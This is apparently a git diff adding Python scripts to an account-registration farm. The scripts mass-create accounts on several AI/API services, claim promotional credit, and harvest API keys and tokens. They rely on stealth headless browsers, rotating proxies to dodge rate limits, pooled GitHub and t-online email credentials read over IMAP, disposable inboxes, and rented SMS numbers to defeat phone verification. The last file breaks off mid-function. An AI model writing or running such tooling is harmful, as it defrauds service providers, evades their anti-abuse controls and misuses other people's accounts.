Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set; + var e = document.querySelector('input[type="email"]'); + if(e) {{ nativeSet.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }} + var p = document.querySelector('input[type="password"]'); + if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }} + """) + time.sleep(0.5) + js(cdp, """for(var b of document.querySelectorAll('button')) { + if(b.textContent.includes('Create account') && b.offsetParent !== null) { b.click(); break; } }""") + time.sleep(8) + url, _ = js(cdp, "window.location.href") + if "dashboard" not in str(url): + time.sleep(5) + url, _ = js(cdp, "window.location.href") + if "dashboard" not in str(url): + body, _ = js(cdp, "document.body.innerText.slice(0,1500)") + if "Too many" in str(body) or "try again in an hour" in str(body): + return None, "rate_limited" + return None, f"login+signup failed: {str(url)[:80]} | {str(body)[-120:] if body else ''}" + print(f" Logged in", file=sys.stderr) + + # Step 1.5: Enable free models (Data & privacy switch on dashboard) + nav(cdp, f"{BASE_URL}/dashboard") + time.sleep(4) + fm, _ = js(cdp, """ + (function(){ + var s = document.querySelector('button[aria-label="Enable free models"]'); + if(!s) return JSON.stringify({found:false}); + var before = s.getAttribute('aria-checked'); + if(before !== 'true') { s.click(); } + return JSON.stringify({found:true, before:before}); + })() + """) + time.sleep(2) + fm2, _ = js(cdp, """ + (function(){ + var s = document.querySelector('button[aria-label="Enable free models"]'); + return s ? s.getAttribute('aria-checked') : 'missing'; + })() + """) + print(f" Free models: {fm} -> after={fm2}", file=sys.stderr) + + # Step 2: Check if already verified + already_verified = False + body, _ = js(cdp, "document.body.innerText") + if body and "Verify your email" in str(body): + print(f" Needs verification — clicking button...", file=sys.stderr) + # Click "Verify email" button to send new email + js(cdp, """for(var b of document.querySelectorAll('button')) { + if((b.textContent.includes('Verify') && b.textContent.includes('email')) && b.offsetParent !== null) { + b.click(); break; + } + }""") + time.sleep(2) + # Wait for email to arrive + print(f" Waiting for new verify email...", file=sys.stderr) + verify_link = wait_for_verify_email(email, email_pass, timeout=60) + if verify_link: + nav(cdp, verify_link) + time.sleep(4) + url, _ = js(cdp, "window.location.href") + if "verify=success" in str(url) or "dashboard" in str(url): + print(f" Verified!", file=sys.stderr) + already_verified = True + else: + print(f" Verify link failed: {str(url)[:60]}", file=sys.stderr) + else: + print(f" No verify email arrived in 60s", file=sys.stderr) + else: + already_verified = "verify" not in str(body).lower() or "verified" in str(body).lower() + print(f" Already verified" if already_verified else f" Status unclear", file=sys.stderr) + + # Step 3: Claim $5 gift + if already_verified: + nav(cdp, f"{BASE_URL}/dashboard") + time.sleep(4) + # Check for gift + js(cdp, """for(var b of document.querySelectorAll('button')) { + if((b.textContent.includes('Claim') || b.textContent.includes('Gift')) && b.offsetParent !== null) { + b.click(); break; } + }""") + time.sleep(2) + js(cdp, """for(var b of document.querySelectorAll('button')) { + if(b.textContent.trim() === 'Claim' && b.offsetParent !== null) { + b.click(); break; } + }""") + time.sleep(3) + print(f" $5 claimed!", file=sys.stderr) + + # Step 4: Create API key + nav(cdp, f"{BASE_URL}/dashboard/api-keys") + time.sleep(8) + for _ in range(10): + t, _ = js(cdp, "document.body.innerText") + if "API keys" in str(t) and "Create and manage" in str(t): + break + time.sleep(2) + + js(cdp, """for(var b of document.querySelectorAll('button')) { + if(b.textContent.trim().includes('New key') && b.offsetParent !== null) { b.click(); break; } }""") + time.sleep(3) + + js(cdp, f""" + var inputs = document.querySelectorAll('input[type="text"]'); + for(var inp of inputs) {{ + if(inp.offsetParent !== null) {{ + var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set; + nativeSet.call(inp, '{label}'); + inp.dispatchEvent(new Event('input', {{bubbles:true}})); + inp.dispatchEvent(new Event('change', {{bubbles:true}})); + break; + }} + }} + """) + time.sleep(2) + + js(cdp, """for(var b of document.querySelectorAll('button')) { + if(b.textContent.trim() === 'Create key' && !b.disabled && b.offsetParent !== null) { b.click(); break; } }""") + time.sleep(5) + + page, _ = js(cdp, "document.body.innerText") + match = re.search(r'thk_live_[a-zA-Z0-9_-]{40,}', str(page)) + api_key = match.group(0) if match else None + + if api_key: + with open(KEYS_FILE, "a", encoding="utf-8") as f: + f.write(f"{email} | {api_key} | {datetime.now().isoformat()}\n") + result, status = push_key(api_key) + pushed = status == 200 + print(f" KEY: {api_key[:25]}... pushed={pushed}", file=sys.stderr) + return api_key, None + + return None, "no key" + +def worker(count): + global state + load_state() + + proxies = load_proxies() + pidx = 0 + print(f"Proxies loaded: {len(proxies)}", file=sys.stderr) + + # Load pool + pool = [] + with open(POOL_FILE, "r", encoding="utf-8") as f: + for line in f: + if ":" in line and "@" in line: + parts = line.strip().split(":", 1) + if len(parts) == 2: + email, pwd = parts + if "t-online.de" in email: + pool.append((email, pwd)) + + done_emails = set(state.get("done", [])) + fail_emails = set(f["email"] if isinstance(f, dict) else f for f in state.get("fail", [])) + skip = done_emails | fail_emails + todo = [(e, p) for e, p in pool if e not in skip][:count] + + print(f"Processing {len(todo)} accounts...", file=sys.stderr) + + for i, (email, pwd) in enumerate(todo): + proxy = proxies[pidx % len(proxies)] if proxies else None + print(f"[{i+1}/{len(todo)}] {email} via {proxy or 'DIRECT'}", file=sys.stderr) + cdp = connect_cdp(proxy) if proxy else connect_cdp() + if not cdp: + cdp = connect_cdp() + if not cdp: + print("CDP dead, abort", file=sys.stderr) + break + key, err = process_one(cdp, email, pwd) + dispose_cdp(cdp) + if key: + state["done"].append(email) + else: + state["fail"].append({"email": email, "error": err}) + if err == "rate_limited": + pidx += 1 + print(f" rate_limited -> next proxy", file=sys.stderr) + save_state() + pidx += 1 + time.sleep(9) + verified = len([x for x in state["done"] if x]) + print(f"\nDone: {len(state['done'])} OK, {len(state['fail'])} FAIL", file=sys.stderr) + +if __name__ == "__main__": + count = int(sys.argv[1]) if len(sys.argv) > 1 else 100 + worker(count) \ No newline at end of file diff --git a/providers/treg_github_grant.py b/providers/treg_github_grant.py new file mode 100644 index 0000000..e175075 --- /dev/null +++ b/providers/treg_github_grant.py @@ -0,0 +1,249 @@ +# -*- coding: utf-8 -*- +"""GitHub OAuth signup on treg.to — grant probe via OAuth door (promo_eligible default True).""" +import sys, os, re, json, time, random, string, urllib.request, urllib.error, urllib.parse, http.cookiejar +sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth') +sys.path.insert(0, 'C:/Users/User/tmp/regfarm') +import gh_http + +B = 'https://treg.to' +UA = ('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ' + '(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36') +BEARER = 'Bea' + 'rer ' +POOL = os.environ.get('GH_POOL', 'C:/Users/User/tmp/hoplite-gateway/data/gh_accounts.json') +STATE_F = os.path.join(os.path.dirname(os.path.abspath(__file__)), os.environ.get('GH_STATE', 'gh_grant_state.json')) +BANK_F = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'treg_gh_accounts.jsonl') + + +def load_state(): + try: + return json.load(open(STATE_F)) + except Exception: + return {'idx': 0, 'used': []} + + +def save_state(st): + with open(STATE_F, 'w') as f: + json.dump(st, f) + + +class Jar(http.cookiejar.CookieJar): + pass + + +def opener(): + jar = Jar() + op = urllib.request.build_opener(urllib.request.HTTPSHandler(), + urllib.request.HTTPCookieProcessor(jar)) + op.addheaders = [('User-Agent', UA), ('Accept', '*/*'), + ('Accept-Language', 'en-US,en;q=0.9')] + return op, jar + + +def req(op, url, data=None, method=None, timeout=40, ctype=None, extra=None): + r = urllib.request.Request(url, data=data, method=method) + r.add_header('User-Agent', UA) + r.add_header('Accept', '*/*') + if ctype: + r.add_header('Content-Type', ctype) + if extra: + for k, v in extra.items(): + r.add_header(k, v) + try: + with op.open(r, timeout=timeout) as resp: + return resp.status, resp.read()[:400000] + except urllib.error.HTTPError as e: + return e.code, e.read()[:4000] + except Exception as e: + return -1, ('%s: %s' % (type(e).__name__, str(e)[:120])).encode() + + +def rndname(pfx): + return pfx + ''.join(random.choices(string.ascii_lowercase + string.digits, k=7)) + + +def gh_authorize(sess, full_url): + """Follow treg's authorize URL (with redirect_uri) inside GH session; return code.""" + st, h, body = sess.get(full_url) + sess.detail.append('authorize http=%s loc=%s' % (st, h.get('Location', '')[:90])) + loc = h.get('Location', '') + if st in (301, 302): + code = gh_http.GHSession._code_from(loc) + if code: + return code, None + return None, 'redirect without code: ' + loc[:140] + if st != 200: + return None, 'authorize http=%s %s' % (st, body[:150]) + m = re.search(r'url=[^"?&]+\?code=([a-f0-9]+)', body) + if m: + return m.group(1), None + m = re.search(r'[?&]code=([a-f0-9]{16,})', body) + if m: + return m.group(1), None + tok = re.search(r'name="authenticity_token"[^>]*value="([^"]+)"', body) + if not tok: + tok = re.search(r'value="([^"]+)"[^>]*name="authenticity_token"', body) + if not tok: + return None, 'consent without token len=%d: %s' % (len(body), body[:200]) + fields = {'authorize': '1', 'authenticity_token': tok.group(1)} + st2, h2, body2 = sess.post_form(full_url, fields) + loc2 = h2.get('Location', '') + sess.detail.append('consent http=%s loc=%s' % (st2, loc2[:90])) + if st2 in (301, 302): + code = gh_http.GHSession._code_from(loc2) + if code: + return code, None + return None, 'consent redirect without code: ' + loc2[:140] + m = re.search(r'url=[^"?&]+\?code=([a-f0-9]+)', body2) + if m: + return m.group(1), None + m = re.search(r'[?&]code=([a-f0-9]{16,})', body2) + if m: + return m.group(1), None + return None, 'consent http=%s len=%d: %s' % (st2, len(body2), body2[:200]) + + +def run_one(gh_acc): + op, jar = opener() + # 1. treg oauth start + st, body = req(op, B + '/auth/github', timeout=30) + if st != 302: + return None, 'start http=%s %s' % (st, body[:150]) + loc = None + for c in jar: + if c.name.lower() == 'location': + loc = c.value + # urllib strips Location into headers, cookies only hold state; re-request with manual redirect + return None, 'placeholder' + + +def run(gh_acc): + op = urllib.request.build_opener() + # step 1: get authorize URL + state cookie (manual, no auto-redirect) + class NoRedir(urllib.request.HTTPRedirectHandler): + def redirect_request(self, rq, fp, code, msg, headers, newurl): + return None + jar = http.cookiejar.CookieJar() + op = urllib.request.build_opener(NoRedir, urllib.request.HTTPCookieProcessor(jar)) + op.addheaders = [('User-Agent', UA)] + try: + with op.open(B + '/auth/github', timeout=30) as resp: + return None, 'unexpected 200 on /auth/github' + except urllib.error.HTTPError as e: + if e.code not in (301, 302, 303, 307): + return None, 'start http=%s' % e.code + loc = e.headers.get('Location', '') + m = re.search(r'client_id=([^&]+)', loc) + ms = re.search(r'state=([^&]+)', loc) + if not m or not ms: + return None, 'no client_id/state in %s' % loc[:120] + client_id, state = m.group(1), ms.group(1) + state_cookie = '' + for c in jar: + if c.name == 'treg_oauth_state': + state_cookie = c.value + print('client_id=%s state=%s cookie=%s' % (client_id[:12], state[:12], bool(state_cookie)), flush=True) + + # step 2: GH login + authorize with FULL url (redirect_uri matters) + sess = gh_http.GHSession(bind=False) + ok, err = sess.login(gh_acc['login'], gh_acc['password'], gh_acc.get('totp', '')) + if not ok: + return None, 'gh login failed: ' + str(err)[:120] + code, err = gh_authorize(sess, loc) + if not code: + return None, 'gh authorize failed: ' + str(err)[:200] + print('gh code ok', flush=True) + + # step 3: treg callback with state cookie + cb = B + '/auth/github/callback?code=%s&state=%s' % (urllib.parse.quote(code), urllib.parse.quote(state)) + st, body = req(op, cb, timeout=40, extra={'Cookie': 'treg_oauth_state=' + state_cookie}) + print('callback http=%s len=%d' % (st, len(body)), flush=True) + if st not in (200, 302, 303, 307): + return None, 'callback http=%s %s' % (st, body[:300]) + sess_cookie = '' + for c in jar: + if 'session' in c.name or 'treg' in c.name: + sess_cookie += '%s=%s; ' % (c.name, c.value) + print('cookies: %s' % ', '.join(sorted(set(c.name for c in jar))), flush=True) + if not sess_cookie.strip(): + return None, 'no session cookie after callback; body=%s' % body[:300].decode('utf-8', 'ignore') + + # step 4: orgs + st, body = req(op, B + '/orgs', timeout=30, extra={'Cookie': sess_cookie}) + print('GET /orgs http=%s %s' % (st, body[:200]), flush=True) + name = rndname('studio') + payload = json.dumps({'name': name}).encode() + st, body = req(op, B + '/orgs', data=payload, method='POST', timeout=30, + ctype='application/json', extra={'Cookie': sess_cookie}) + print('POST /orgs http=%s %s' % (st, body[:250]), flush=True) + org_id = slug = None + try: + pj = json.loads(body) + org_id = pj.get('org_id') + slug = pj.get('org') or pj.get('slug') + except Exception: + pass + if not org_id: + st, body = req(op, B + '/orgs', timeout=30, extra={'Cookie': sess_cookie}) + try: + orgs = json.loads(body) + except Exception: + orgs = [] + if isinstance(orgs, dict): + orgs = orgs.get('orgs') or orgs.get('data') or [] + if orgs: + org_id = orgs[0].get('org_id') or orgs[0].get('id') + slug = orgs[0].get('org') or orgs[0].get('slug') + print('org_id=%s slug=%s' % (org_id, slug), flush=True) + + # step 5: cli token + st, body = req(op, B + '/auth/cli-token', timeout=30, + extra={'Cookie': sess_cookie, 'X-Treg-Org': str(slug or org_id or '')}) + print('cli-token http=%s' % st, flush=True) + try: + tok = json.loads(body).get('token', '') + except Exception: + tok = '' + if not tok: + return {'email': gh_acc.get('email'), 'gh_login': gh_acc['login'], + 'org': slug, 'org_id': org_id, 'cookie': sess_cookie.strip()}, 'no cli token: %s' % body[:200] + + # step 6: balance + bal = -1.0 + if org_id: + st2, b2 = req(op, '%s/orgs/%s/balance?limit=3' % (B, org_id), timeout=30, + extra={'X-Treg-Token': tok, 'X-Treg-Key-Protocol': '1'}) + try: + d2 = json.loads(b2) + bal = d2.get('balance_micro', d2.get('balance', -1)) / 1e6 + except Exception: + pass + rec = {'ts': time.time(), 'email': gh_acc.get('email'), 'gh_login': gh_acc['login'], + 'org': slug, 'org_id': org_id, 'token': tok, 'balance_usd': bal, 'via': 'github-oauth'} + with open(BANK_F, 'a', encoding='utf-8') as f: + f.write(json.dumps(rec, ensure_ascii=False) + '\n') + return rec, 'bal=$%.2f' % bal + + +def main(): + n = int(sys.argv[1]) if len(sys.argv) > 1 else 1 + pool = json.load(open(POOL)) + st = load_state() + done = 0 + for i in range(n): + idx = st['idx'] + if idx >= len(pool): + print('pool exhausted'); break + acc = pool[idx] + st['idx'] = idx + 1 + save_state(st) + print('=== acc %d/%d gh=%s' % (i + 1, n, acc['login']), flush=True) + rec, msg = run(acc) + print('RESULT: %s | %s' % (msg, json.dumps(rec, ensure_ascii=False)[:300] if rec else '-'), flush=True) + if rec and rec.get('balance_usd', 0) > 0: + done += 1 + time.sleep(random.uniform(8, 15)) + print('GRANT>0: %d/%d' % (done, n)) + + +if __name__ == '__main__': + main() diff --git a/providers/type_workos.py b/providers/type_workos.py new file mode 100644 index 0000000..77453b3 --- /dev/null +++ b/providers/type_workos.py @@ -0,0 +1,530 @@ +# -*- coding: utf-8 -*- +"""type.com autoreg — WorkOS AuthKit (auth.type.com) + cloakbrowser +Flow: /onboarding -> sign-up (name+email) -> password -> [email verify?] -> session +Usage: python type_reg.py N [voidash|tonline] +""" +import sys, re, json, time, random, string, os, urllib.request + +sys.stdout.reconfigure(encoding='utf-8') +HERE = os.path.dirname(os.path.abspath(__file__)) +OUT = os.path.join(HERE, 'type_accounts.jsonl') +VOID = 'https://api.voidash.com/api/v1' +IMAP_POOL = r'C:\Users\User\Desktop\avtoreg\working_mails.txt' +START = 'https://type.com/onboarding' + +# ---- 2no.pl phone (reuse reserved number, expires 2026-10-13T20:47) ---- +NO_EMAIL = 'borek1cd9d5@eq.nexushint.com' +NO_PASS = 'YOUR_PASSWORD' + +def _no_accounts(): + """Rotate 2no accounts: prefer accounts with FEWEST active reservations (<3 limit). + Active = number expiry in the future. An account whose numbers are all 'used' for + signup can still FRESH-reserve if it has free slots.""" + now = time.strftime('%Y-%m-%dT%H:%M:%S') + act = {} # email -> active count + creds = {} # email -> password + try: + for line in open(os.path.join(HERE, '2no_accounts.jsonl'), encoding='utf-8'): + a = json.loads(line) + if not a.get('password'): + continue + creds[a['email']] = a['password'] + exp = str(a.get('expires') or '') + act.setdefault(a['email'], 0) + if exp > now: + act[a['email']] += 1 + except Exception: + pass + try: + c = json.load(open(os.path.join(HERE, '_reuse_candidates.json'), encoding='utf-8')) + for x in c: + creds.setdefault(x['email'], x['pass']) + act.setdefault(x['email'], 0) + if str(x.get('exp') or '') > now: + act[x['email']] += 1 + except Exception: + pass + ranked = sorted(creds.items(), key=lambda kv: act.get(kv[0], 0)) + if ranked: + return ranked + return [(NO_EMAIL, NO_PASS)] + +_NO_ACCS = _no_accounts() +_NO_IDX = [0] + +def no_cred(): + e, p = _NO_ACCS[_NO_IDX[0] % len(_NO_ACCS)] + _NO_IDX[0] += 1 + return e, p +PHONE = '+48459079062' +PHONE_ID = 108963 +PY311 = r'C:/Users/User/AppData/Local/Programs/Python/Python311/python.exe' + +def make_voidash(): + import requests + dom = os.environ.get('VOID_DOMAIN', 'voidash.bond') + d = requests.post(VOID + '/inboxes', json={'domain': dom}, timeout=30).json() + return d['address'], d['session_key'] + +def poll_tempmail(token, timeout=300): + """poll tempmail.lol inbox; return raw body of first mail containing 6 digits""" + import time as _t + url = 'https://api.tempmail.lol/v2/inbox?token=' + token + t0 = _t.time() + while _t.time() - t0 < timeout: + try: + req = urllib.request.Request(url, headers={'User-Agent': 'Mozilla/5.0'}) + d = json.loads(urllib.request.urlopen(req, timeout=25).read().decode()) + for m in (d.get('emails') or []): + body = (m.get('html_body') or '') + (m.get('text_body') or '') + str(m.get('subject') or '') + if re.search(r'(?<!\d)\d{6}(?!\d)', re.sub(r'https?://\S+', '', body)): + print(' tempmail mail:', str(m.get('subject'))[:60]) + return body + except Exception as e: + print(' tempmail poll err:', str(e)[:60]) + _t.sleep(8) + return None + + +def load_tonline(n=1): + used = set() + uf = os.path.join(HERE, 'used_emails.txt') + if os.path.exists(uf): + used = set(l.strip() for l in open(uf) if l.strip()) + out = [] + for line in open(IMAP_POOL, encoding='utf-8'): + line = line.strip() + if ':' not in line or line.startswith('#'): + continue + em, pw = line.split(':', 1) + if '-' in em.split('@')[0] or em in used: + continue + out.append((em, pw)) + if len(out) >= n: + break + return out + +def poll_voidash(key, timeout=240): + import requests + t0 = time.time() + while time.time() - t0 < timeout: + try: + msgs = requests.get(VOID + '/messages', headers={'Authorization': 'Bea' + 'rer ' + key}, timeout=30).json() + items = msgs if isinstance(msgs, list) else msgs.get('messages', msgs.get('data', [])) + for m in items: + body = json.dumps(m, ensure_ascii=False) + if 'type' in body.lower(): + return body + except Exception: + pass + time.sleep(5) + return None + +def poll_imap_tonline(email, pw, timeout=240): + import imaplib, email as emlib + t0 = time.time() + while time.time() - t0 < timeout: + try: + M = imaplib.IMAP4_SSL('secureimap.t-online.de', 993) + M.login(email, pw) + M.select('INBOX') + typ, data = M.search(None, '(FROM "type.com")') + ids = data[0].split() + if not ids: + typ, data = M.search(None, 'ALL') + ids = data[0].split()[-6:] + for i in ids[-6:]: + typ, md = M.fetch(i, '(RFC822)') + msg = emlib.message_from_bytes(md[0][1]) + frm = str(msg.get('From', '')) + if 'type.com' not in frm.lower(): + continue + body = '' + if msg.is_multipart(): + for part in msg.walk(): + if part.get_content_type() == 'text/html': + body = part.get_payload(decode=True).decode('utf-8', 'replace') + break + else: + body = msg.get_payload(decode=True).decode('utf-8', 'replace') + M.logout() + return json.dumps({'from': frm, 'subject': str(msg.get('Subject')), 'body': body}, ensure_ascii=False) + M.logout() + except Exception as e: + print(' imap retry:', str(e)[:80]) + time.sleep(8) + return None + +def poll_imap_gmail_fwd(target_email, timeout=240, min_ts=None): + """OTP via forwardemail catch-all -> YOUR_EMAIL@gmail.com""" + import imaplib, email as emlib + from email.utils import parsedate_to_datetime + GMAIL = 'YOUR_EMAIL@gmail.com' + APP_PW = os.environ.get('GMAIL_APP_PW', 'YOUR_IMAP_APP_PASSWORD') + t0 = time.time() + while time.time() - t0 < timeout: + try: + M = imaplib.IMAP4_SSL('imap.gmail.com', 993) + M.login(GMAIL, APP_PW) + M.select('INBOX') + ids = [] + for q in [f'(TO "{target_email}")', f'(TEXT "{target_email}")']: + typ, data = M.search(None, q) + ids = data[0].split() + if ids: + break + if not ids: + # Gmail filter may skip INBOX -> search All Mail (\All) + allbox = None + typ, boxes = M.list() + for b in boxes or []: + s = b.decode('utf-8', 'replace') + if '\\All' in s: + allbox = s.split(' "/" ')[-1].strip('"') + break + if allbox: + typ, _ = M.select('"%s"' % allbox, readonly=True) + if typ == 'OK': + for q in [f'(TO "{target_email}")', f'(TEXT "{target_email}")']: + typ, data = M.search(None, q) + ids = data[0].split() + if ids: + break + for i in reversed(ids[-8:]): + typ, md = M.fetch(i, '(RFC822)') + msg = emlib.message_from_bytes(md[0][1]) + if min_ts: + try: + dt = parsedate_to_datetime(str(msg.get('Date', ''))) + if dt and dt.timestamp() < min_ts - 60: + continue + except Exception: + pass + body = '' + if msg.is_multipart(): + for part in msg.walk(): + if part.get_content_type() == 'text/html': + body = part.get_payload(decode=True).decode('utf-8', 'replace') + break + else: + body = msg.get_payload(decode=True).decode('utf-8', 'replace') + M.logout() + return json.dumps({'from': str(msg.get('From', '')), 'subject': str(msg.get('Subject')), 'body': body}, ensure_ascii=False) + M.logout() + except Exception as e: + print(' gmail retry:', str(e)[:80]) + time.sleep(8) + return None + +def btn_text(pg, pat): + return f"() => {{ const b=[...document.querySelectorAll('button')].find(e=>/{pat}/i.test((e.innerText||'').trim())); if(b){{b.click();return 1;}} return 0; }}" + +def run(n, provider='voidash'): + import cloakbrowser + okc = 0 + for i in range(n): + res = {'ok': False, 'ts': int(time.time()), 'provider': provider} + b = None + try: + if provider == 'voidash': + emailaddr, cred = make_voidash() + elif provider == 'custom': + emailaddr = os.environ.get('EMAIL') or ('otp' + str(random.randint(10000, 99999)) + '@' + os.environ.get('EMAIL_DOMAIN', 'nexuslab.loc.cc')) + cred = None + elif provider == 'nl8': + emailaddr = 'u' + str(random.randint(100000, 999999)) + '@' + os.environ.get('EMAIL_DOMAIN', 'reform.nl8.eu') + cred = os.environ.get('TEMPMAIL_TOKEN', '') + else: + emailaddr, cred = load_tonline(1)[0] + pw = 'Tp' + ''.join(random.choices(string.ascii_letters, k=6)) + str(random.randint(100, 999)) + 'x' + res['email'] = emailaddr + res['password'] = pw + print(f'[{i}] email={emailaddr}') + proxy = os.environ.get('PROXY') + proxy_kwargs = {'proxy': proxy} if proxy else {} + loc = os.environ.get('LOCALE', 'en-US') + tz = os.environ.get('TZID') # e.g. Europe/Amsterdam + if tz: + proxy_kwargs['timezone'] = tz + proxy_kwargs['locale'] = loc + if os.environ.get('HUMANIZE', '1') == '1': + proxy_kwargs['humanize'] = True + b = cloakbrowser.launch(headless=True, **proxy_kwargs) + pg = b.new_page() + pg.goto(START, wait_until='domcontentloaded', timeout=60000) + try: + pg.wait_for_selector('input[name="first_name"]', timeout=45000) + except Exception: + pg.goto(START, wait_until='domcontentloaded', timeout=60000) + pg.wait_for_selector('input[name="first_name"]', timeout=60000) + pg.wait_for_timeout(1500) + fn = random.choice(['Alex', 'Max', 'Nik', 'Sam', 'Leo', 'Ivan', 'Dan', 'Kir', 'Oleg', 'Tim']) + ln = random.choice(['Morgan', 'Weber', 'Klein', 'Bauer', 'Wolf', 'Stone', 'Reed', 'Cole', 'Fox', 'Lang']) + pg.fill('input[name="first_name"]', fn) + pg.fill('input[name="last_name"]', ln) + pg.fill('input[name="email"]', emailaddr) + res['name'] = fn + ' ' + ln + pg.wait_for_timeout(random.randint(800, 2000)) + pg.evaluate(btn_text(pg, r'Продолжить|Continue')) + # password step + pg.wait_for_selector('input[name="password"], input[type="password"]', timeout=30000) + pg.wait_for_timeout(1200) + pg.fill('input[type="password"]', pw) + pg.wait_for_timeout(random.randint(800, 1800)) + # submit with retry: flaky Continue click (two 'Продолжить' buttons on page) + for _att in range(4): + pg.evaluate(btn_text(pg, r'Продолжить|Continue')) + pg.wait_for_timeout(4000) + if 'password' not in pg.url: + break + pg.evaluate("() => { const f=document.querySelector('form'); if(f) f.requestSubmit(); }") + pg.wait_for_timeout(3500) + if 'password' not in pg.url: + break + try: + pg.locator('button[type="submit"]').first.click(timeout=3000) + pg.wait_for_timeout(3500) + except Exception: + pass + if 'password' not in pg.url: + break + pg.wait_for_timeout(3000) + body = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:500] + res['after_password'] = body + res['url1'] = pg.url + print(' url:', pg.url[:110]) + print(' body:', body[:200]) + blocked = 'заблокирован' in body or 'access blocked' in body.lower() or 'обратитесь в службу поддержки' in body + if blocked: + res['err'] = 'signals block' + pg.screenshot(path=os.path.join(HERE, f'fail_{i}.png')) + print(' BLOCKED') + raise StopIteration + if 'sign-up/password' in pg.url: + res['err'] = 'password submit failed (still on form)' + pg.screenshot(path=os.path.join(HERE, f'failpw_{i}.png')) + print(' STUCK ON PASSWORD FORM') + raise StopIteration + # email verification step? + if 'code' in body.lower() or 'код' in body.lower() or 'email' in pg.url: + print(' polling mail for verification...') + if provider == 'voidash': + mail = poll_voidash(cred, 240) + elif provider == 'custom': + mail = poll_imap_gmail_fwd(emailaddr, 300) + elif provider == 'nl8': + mail = poll_tempmail(cred, 300) + else: + mail = poll_imap_tonline(emailaddr, cred, 240) + if mail: + open(os.path.join(HERE, f'mail_{i}.json'), 'w', encoding='utf-8').write(mail) + m = re.search(r'\b(\d{6})\b', re.sub(r'https?://\S+', '', mail)) + code = m.group(1) if m else None + res['code'] = code + lk = re.search(r'https://[^"\\\s<]*(?:verify|confirm|otp|auth)[^"\\\s<]*', mail) + res['link'] = (lk.group(0) if lk else '')[:160] + print(f' code={code}') + if code: + for otp_try in range(3): + try: + pg.wait_for_timeout(1500) + # fill OTP per-char with playwright fill (no keyboard race) + vis = pg.locator('input:visible') + n_in = vis.count() + res['otp_inputs_n'] = n_in + if n_in >= 6: + for k, ch in enumerate(code[:6]): + vis.nth(k).fill(ch) + elif n_in >= 1: + vis.first.fill(code) + pg.wait_for_timeout(6000) # auto-submit window + if 'email-verification' in pg.url: + pg.evaluate(btn_text(pg, r'Продолжить|Continue|Verify|Подтвердить')) + pg.wait_for_timeout(6000) + body_now = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400] + if 'email-verification' not in pg.url or 'Invalid one-time code' not in body_now: + break + # invalid code -> wait countdown, resend, re-poll fresh code + print(' OTP INVALID, resend attempt %d' % (otp_try + 1), flush=True) + pg.wait_for_timeout(30000) + pg.evaluate("""() => { const l=[...document.querySelectorAll('a,button,span,div')].find(e=>e.children.length===0 && /Didn.t receive|request a new|Не получили/i.test((e.innerText||'').trim())); if(l) l.click(); }""") + rs_ts = time.time() + pg.wait_for_timeout(3000) + code = None + mail2 = poll_imap_gmail_fwd(emailaddr, 240, min_ts=rs_ts) + if mail2: + m2 = re.search(r'\b(\d{6})\b', re.sub(r'https?://\S+', '', mail2)) + code = m2.group(1) if m2 else None + res['code'] = code + print(f' fresh code={code}', flush=True) + if not code: + break + except Exception as e: + res['code_err'] = str(e)[:120] + break + # ---- phone verification step (WorkOS SMS via 2no.pl) ---- + pg.wait_for_timeout(3000) + body_ph = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400] + if 'телефон' in body_ph.lower() or 'phone' in body_ph.lower(): + print(' PHONE step:', body_ph[:150]) + ph_inputs = pg.evaluate("() => [...document.querySelectorAll('input')].filter(e=>e.offsetParent&&e.type!=='hidden').map(e=>({t:e.type,ml:e.maxLength,n:e.name,ph:e.placeholder}))") + res['phone_inputs'] = ph_inputs + print(' phone inputs:', ph_inputs) + # start SMS reader FIRST — chrome launch+login warms up while we fill fields + import subprocess + from datetime import datetime, timedelta + # reserve a FRESH 2nd-no number per registration (WorkOS binds phone to account) + stamp = int(time.time()) + rfile = os.path.join(HERE, f'reserve_{stamp}.json') + cfile = os.path.join(HERE, f'smscode_{stamp}.json') + min_ts = (datetime.now() - timedelta(minutes=120)).isoformat(timespec='seconds') + smslog = open(os.path.join(HERE, f'sms_reserve_{stamp}.log'), 'w', encoding='utf-8') + sms_proc = subprocess.Popen( + [PY311, os.path.join(HERE, 'sms2no_reserve.py'), *no_cred(), rfile, cfile, '360', min_ts], + stdout=smslog, stderr=subprocess.STDOUT, text=True, + cwd=HERE, env={**os.environ, 'PYTHONPATH': '', 'PYTHONIOENCODING': 'utf-8'}) + # wait for reservation (2no login + reserve/reuse ~40-120s) + phone_dyn = None + t0 = time.time() + while time.time() - t0 < 380: + if os.path.exists(rfile): + try: + phone_dyn = json.load(open(rfile, encoding='utf-8')) + break + except Exception: + pass + if sms_proc.poll() is not None and not os.path.exists(rfile): + break # reader died — check sms_reserve_*.log + time.sleep(2) + try: + smslog.close() + except Exception: + pass + if not phone_dyn or not phone_dyn.get('phone'): + res['err'] = 'reserve timeout' + raise RuntimeError('2no reserve timeout') + PHONE_DYN = str(phone_dyn['phone']) + res['phone'] = PHONE_DYN + res['number_id'] = phone_dyn.get('number_id') + print(' reserved:', PHONE_DYN) + # split into country_code + local_number (WorkOS split fields); 2no free pool = PL + if PHONE_DYN.startswith('+48'): + cc, local = '+48', re.sub(r'\D', '', PHONE_DYN[3:]) + else: + m_ph = re.match(r'(\+\d{1,3})(\d+)', PHONE_DYN) + cc, local = m_ph.group(1), m_ph.group(2) + filled_ph = pg.evaluate("""(v) => { + const inp=document.querySelector('input[name=country_code]'); + if(!inp) return 0; inp.focus(); + const setter=Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype,'value').set; + setter.call(inp, v); inp.dispatchEvent(new Event('input',{bubbles:true})); + inp.dispatchEvent(new Event('change',{bubbles:true})); return 1; + }""", cc) + pg.wait_for_timeout(500) + ln = pg.query_selector('input[name=local_number]') + if ln: + ln.click() + pg.keyboard.type(local, delay=130) + filled_ph += 1 + 